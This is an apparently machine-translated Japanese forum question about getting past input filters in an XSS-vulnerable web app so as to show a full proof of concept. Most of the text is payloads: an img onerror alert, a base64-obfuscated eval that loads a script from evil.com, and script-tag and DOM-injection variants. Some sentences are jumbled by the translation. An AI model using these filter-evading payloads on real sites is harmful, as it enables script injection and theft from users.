XSS に対して脆弱で、タグを使用して JavaScript を実行できる Web アプリを見つけましたが、img
私が使用しているメソッドは、いくつかのフィルターを使用してそれを停止しようとしているため、ページの残りの部分を破壊します。
これまでに検出したフィルターは次のとおりです。
</anythingyouwant>
何も置き換えられない/>
何も置き換えられない;
次までスペースに置き換えられます>
- 配送方法を含めて135文字以内
<img src="." onerror="alert('xss')">
インジェクション<img src="." onerror="alert('xss')">
は問題なく機能しますが、これらの開発者はやや懐疑的であり、完全な JavaScript コードの完全な PoC を見たいと考えています。任意のスクリプトを実行することはまったく可能ですか?
私が試してみました:
<img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">
結果: URL を短縮しても長すぎます<script src="//evil.com/myscript" />
結果:そのようなスクリプトタグを閉じることができず、フィルタリングされ、「終了」タグを省略したWebアプリによってページの残りの部分が破棄されます<script src=//evil.com/myscript"></script>
結果: フィルタリングされ、上記のようにページの残りの部分が破棄されます<img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">
結果: セミコロンがフィルタリングされ、Web ページが壊れる<img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">
結果:これが有効なjsかどうかはわかりview page source
ませんが、意図したとおりにクロムに表示されますが、期待どおりに機能しません
何らかの形で関連する場合に備えて、テストにクロムを使用しています。